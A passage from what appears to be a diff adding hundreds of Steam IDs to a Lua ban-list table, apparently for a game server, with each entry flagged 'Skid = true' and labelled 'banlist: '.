", Skid = true}, + ["STEAM_0:0:20952781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32016608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14457224"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15130879"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48567023"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25484203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2676958"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12703324"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31886312"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38607187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32165625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21142494"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10030523"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32664456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41288118"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12415589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24605912"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37891038"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11461722"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21922937"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29413573"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20789010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41862744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20510578"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19356409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37899595"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30426035"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16340664"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24561042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28021105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31792376"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24813252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13454690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39799709"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41210076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32513322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20276749"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18117356"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9776887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20011869"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27006816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20765562"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32105089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4485529"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23916425"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17594809"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42971672"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34543854"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36988619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42108801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22900670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33076223"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:133121"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28119660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15452977"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24451886"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18286164"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24915085"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18127401"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37816503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31830933"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23847271"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4105607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41952962"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26913884"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28907091"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42291030"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36920226"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18405450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23860352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31767853"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10120361"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9839469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6225168"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29142938"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12983179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41057831"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18270208"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:47793588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25634996"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35160294"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24538660"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2373680"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21770563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7673586"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33210948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32870065"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35151416"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30041051"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14035026"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26179074"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23095275"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37665409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9343127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37108341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17313690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23333473"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30427597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29276239"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7453489"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1267752"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14119311"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27528816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17610350"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20800165"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33495334"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25565668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37104257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23585574"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27601195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33326183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34935530"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31467123"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27196754"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10777522"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10271841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31498992"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28472930"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25748231"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24346494"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15704645"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17093191"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32904459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34408188"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33757097"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24834331"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35068874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1858110"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11344795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33064626"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14672615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48355934"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40675881"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37546352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38010792"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20157456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3057448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1488874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33777092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19920321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15273811"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37511026317"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33533135"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1553711"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23357709"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25433839"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20979766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32345652"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19142170"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25281740"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19684426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14790320"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24969514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26494150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6036960"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18376303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29466977"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41478637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28406949"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14325047"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23994344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17776505"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26480395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14982442"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32609027"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25265029"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22852249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22381487"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21829364"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39593848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20161051"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28473945"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15654021"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42573276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13436811"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14237704"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30560400"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30978957"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15625919"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17451979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:506569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41108147"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24858524"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25566081"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2228127"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34960280"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24819248"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33048823"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35038013"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:49411848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33469486"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16847565"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20814373"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25056637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28882249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25452630"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22452138"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30701204"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30329634"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6580379"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29144754"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3790329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19954550"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42457031"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46507896"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5545402"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27439689"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6078725"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17671662"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34519698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14707556"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23818232"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:441324"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20558681"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21009079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3077518"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20595169"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27327327"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23772934"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15926083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27203182"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21412766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15697497"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33322285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29349944"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18939936"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26769584"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33839774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12318661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19507043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14926348"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19800917"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29070371"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14885105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34526102"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18942868"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32213626"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4098182"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22012719"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13931209"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19158061"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19627285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23401544"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25064912"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31297727"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3091328"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29043561"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32526879"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20164477"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35778355"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33936975"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20137994"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26362458"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32373583"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37518531"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12186667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28014984"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17995146"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26748378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6382894"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25281238"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29711775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17571482"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19984257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4293436"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31230481"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24539492"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23688841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12089474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15597391"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47404449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20564249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18788257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34385817"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3595229"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32402005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20693808"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29078065"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25739249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8623948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15098019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:681422"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17582886"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1744429"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10958436"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25973314"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29821915"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43855366"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41221427"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32870947"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23586201"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22073425"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49224469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40730545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10851256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19396099"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43924685"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2835199"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24793146"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29205771"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37171713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27789827"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19247250"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22135120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26659410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15661347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29291804"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9858505"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1913201"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29543208"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26439207"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30411899"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30049961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23923790"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33158647"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19816826"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19932404"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27555106"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40077536"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3851670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30266300"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24818473"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26703781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19196273"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29693052"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3682243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19614548"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26233730"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29932068"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34239589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26089849"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24896375"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46925252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42350044"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33438782"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21027221"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41535788"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13604058"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19527953"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25093033"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5492293"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22586111"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26128847"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33337341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37589465"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35782402"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10935064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26348347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5911453"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48762566"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30399731"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16683432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32655140"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34312753"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27793432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30354419"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22568691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37202312"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34839154"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24521119"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17329134"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19471493"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15022604"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20838073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15937303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17593681"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18773512"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31794277"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35836033"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10253826"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26175728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34211283"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28085471"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31339508"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28442183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29213482"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31321883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30616025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30711170"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21807507"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20243294"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35907474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22775323"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15624622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49246025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34457310"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29137358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38357430"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18658629"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15893233"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14477781"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12327128"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8303211"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11924069"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34546041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1630772"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42069560"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19895145"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41488667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19615629"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32240838"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23352242"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2401892"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13487220"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34944103"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41033981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24987280"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24952935"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22007549"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34889824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3850001"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4987719"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32337379"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33133001"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10422513"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:47622532"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29161142"] = 